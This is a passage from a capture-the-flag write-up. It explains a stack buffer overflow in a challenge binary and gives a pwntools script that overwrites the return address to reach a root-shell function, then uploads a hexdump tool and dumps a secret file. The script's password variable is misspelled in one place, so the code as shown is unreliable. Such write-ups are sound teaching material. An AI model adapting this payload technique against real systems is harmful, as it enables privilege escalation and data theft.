if (comparisonResult == 0) {
puts("access granted!");
boom();
}
else {
puts("access denied!");
}
return;
}
It selects a random password by polling /dev/urandom and if it matches the
first 32 bytes of the user-supplied value the subroutine boom is called, which
upgrades the shell to root.
It is not feasible to ever be lucky enough to guess the random password
correctly. Instead, we note that the program reads 256 bytes of input into an
array of 40 bytes. This is a perfect opportunity to
smash the stack!
We can supply a long input and overwrite the return pointer of the auth
function on the stack, so that when it returns it will return to whatever
address we want. We want to it call boom() to upgrade our shell.
With the help of GDB we can find out that the
return pointer begins at the 57th byte of our input. We can also find that
boom has a static address of 0x00401206. Our payload to input thus should be
56 bytes of anything followed by the address of boom. We write another
pwntools script to supply the payload to haxxxxme to upgrade our shell, and
then dump secret using the hexdump program like before.
from pwn import *
HOST = "lucks.djul.se"
PORT = 16767
PASWWORD = "67grischfortnite1337"
LOCAL_PATH = "./hexdump"
REMOTE_PATH = "grischtooling/sl"
CHUNK_SIZE = 200
boom_address = 0x00401206
buffer_size = 56
PAYLOAD = b"A" * buffer_size + p64(boom_address) + p64(0)
def octal_encode(data: bytes) -> str:
return "".join(f"\\{b:03o}" for b in data)
def main():
io = remote(HOST, PORT)
io.sendline(PASSWORD.encode())
# Run haxxxxme and input the payload
io.sendline("./grischtooling/haxxxxme".encode())
io.sendline(PAYLOAD)
with open(LOCAL_PATH, "rb") as f:
binary = f.read()
for i in range(0, len(binary), CHUNK_SIZE):
chunk = binary[i:i + CHUNK_SIZE]
encoded = octal_encode(chunk)
cmd = f"printf '{encoded}' >> {REMOTE_PATH}"
io.sendline(cmd.encode())
# Hexdump secret
io.sendline(b"./grischtooling/sl secret")
io.interactive()
if __name__ == "__main__":
main()
All that is left is to decode the hexdump to reveal the solution to the challenge.
What was the sought word you may ask? I have no clue, I forgot to note it down (:
Window 24: The Tell-Tale Crumb#
This non-scored final challenge is a crossword puzzle, giving you a cozy and stress-free end of dJul.

We read the final solution, IMPOSTOR.

